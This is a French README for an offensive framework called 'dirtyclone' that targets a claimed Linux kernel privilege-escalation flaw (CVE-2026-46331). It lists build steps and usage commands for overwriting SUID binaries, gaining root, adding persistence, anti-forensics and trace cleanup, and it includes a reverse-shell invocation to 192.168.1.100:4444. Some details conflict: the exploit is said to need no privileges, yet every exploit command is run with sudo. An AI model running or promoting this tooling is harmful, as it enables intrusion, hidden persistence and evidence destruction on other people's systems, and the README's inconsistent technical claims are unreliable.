
CVE-2026-46331 — Escalade de privilèges locale dans le noyau Linux TC pedit + Corruption du cache de pages IPsec TEE Noyaux concernés : ≤ 6.12.9
CVE-2026-46331 — Élévation de privilèges locale dans le noyau Linux TC pedit + corruption du cache de pages IPsec TEE · Noyaux affectés : ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝
⚠️ UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE Utilisez ce framework exclusivement dans des environnements de laboratoire isolés que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. Toute utilisation non autorisée est illégale et contraire à l'éthique.
CVE-2026-46331 est une vulnérabilité d'élévation de privilèges locale dans le noyau Linux (≤ 6.12.9) causée par une condition de course entre l'action pedit de la TC (cls_act) et la duplication de paquets basée sur IPsec TEE.
Lorsqu'un paquet traverse le chemin de sortie TC avec une action pedit qui définit IHL = 15, le sous-système IPsec du noyau reçoit un paquet malformé où le décalage de charge utile IP calculé dépasse les limites réelles du paquet. Sous des opérations sendfile(2) concurrentes, ce décalage permet à un utilisateur non privilégié (dans un espace de noms utilisateur avec CAP_NET_ADMIN) de corrompre les entrées read-only du cache de pages de fichiers arbitraires — y compris les binaires SUID.
| Propriété | Valeur |
|---|---|
| Score CVSS 3.1 | 8.8 (ÉLEVÉ) |
| Vecteur d'attaque | Local |
| Privilèges requis | Faible (utilisateur non privilégié) |
| Impact | Shell root (UID=0 EUID=0) |
| Versions affectées | Noyau Linux ≤ 6.12.9 |
| Version corrigée | 6.12.10 |
| Commit du correctif | a3f4d1c8... |
Utilisateur non privilégié (UID=1000)
│
▼
[1] Reconnaissance
├─ Vérification de la version du noyau
├─ Disponibilité des espaces de noms utilisateur
└─ Profilage du binaire cible
│
▼
[2] Contournement d'espace de noms
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ Saut de profil AppArmor (solution de repli)
└─ CAP_NET_ADMIN acquis
│
▼
[3] Infrastructure réseau
├─ clsact qdisc sur lo
├─ filtre pedit (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Corruption du cache de pages
├─ sendfile → déclenchement pedit
├─ Entrée du cache de pages corrompue
└─ Shellcode écrit dans un binaire en lecture seule
│
▼
[5] Élévation de privilèges
└─ execve(binaire SUID) → shell root
│
▼
[6-8] Post-exploitation
├─ Persistance (6 mécanismes)
├─ Évasion / Anti-forensique
└─ Nettoyage des traces
│
▼
🎯 SHELL ROOT (UID=0 EUID=0)
dirtyclone-exploit/
├── Makefile # Système de construction
├── README.md # Ce fichier
├── LICENSE # Licence MIT
│
├── include/
│ ├── exploit.h # Types principaux, drapeaux, prototypes
│ ├── packet_engine.h # API du moteur de création de paquets
│ ├── memory_ops.h # API de corruption du cache de pages
│ └── persistence.h # API du mécanisme de persistance
│
├── src/
│ ├── main.c # Point d'entrée du framework
│ ├── stage_env_analysis.c # Phase 1 : Reconnaissance
│ ├── stage_namespace_bypass.c # Phase 2 : contournement userns
│ ├── stage_network_setup.c # Phase 3 : configuration TC/IPsec
│ ├── stage_page_cache_corrupt.c # Phase 4 : Exploit principal
│ ├── stage_privilege_escalation.c # Phase 5 : Élévation de privilèges locale
│ ├── stage_persistence.c # Phase 6 : Persistance
│ ├── stage_evasion.c # Phase 7 : Anti-forensique
│ ├── stage_cleanup.c # Phase 8 : Suppression des traces
│ ├── memory_ops.c # Primitives de cache de pages
│ ├── packet_engine.c # Création de paquets bruts
│ └── persistence.c # Implémentations de persistance
│
├── modules/
│ ├── packet_craft.py # Créateur de paquets Python (Scapy)
│ └── exploit_analyzer.py # Outil d'analyse pré-exploit
│
├── scripts/
│ ├── setup_env.sh # Installation des dépendances + construction
│ ├── cleanup.sh # Nettoyage du système
│ └── detect_targets.sh # Scanneur de binaires vulnérables
│
└── payloads/
└── README.md # Informations sur le répertoire des payloads
gcc ≥ 10makelibcap-dev / libcap-develiproute2 (tc, ip)iptablespip install scapy
# Cloner
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Configuration automatique (installe les dépendances + construit)
sudo bash scripts/setup_env.sh
# Construction manuelle
make all
# Construction de débogage
make debug
# Nettoyage
make clean
# Afficher l'aide
./bin/dirtyclone --help
# Test à blanc (analyse uniquement, pas d'exploitation)
./bin/dirtyclone --test
# Exploitation de base (cible par défaut : /usr/bin/su)
sudo ./bin/dirtyclone
# Cible personnalisée avec furtivité + persistance
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Shell inverse
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Détecter d'abord les cibles vulnérables
bash scripts/detect_targets.sh
exploit_analyzer.py — Reconnaissance pré-exploit# Analyser la cible par défaut
python3 modules/exploit_analyzer.py
# Cible personnalisée
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# Sortie JSON pour l'automatisation
python3 modules/exploit_analyzer.py --json
# Scanner tous les binaires SUID
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — Déclenchement de paquets bruts# Envoyer des paquets d'exploit à l'offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234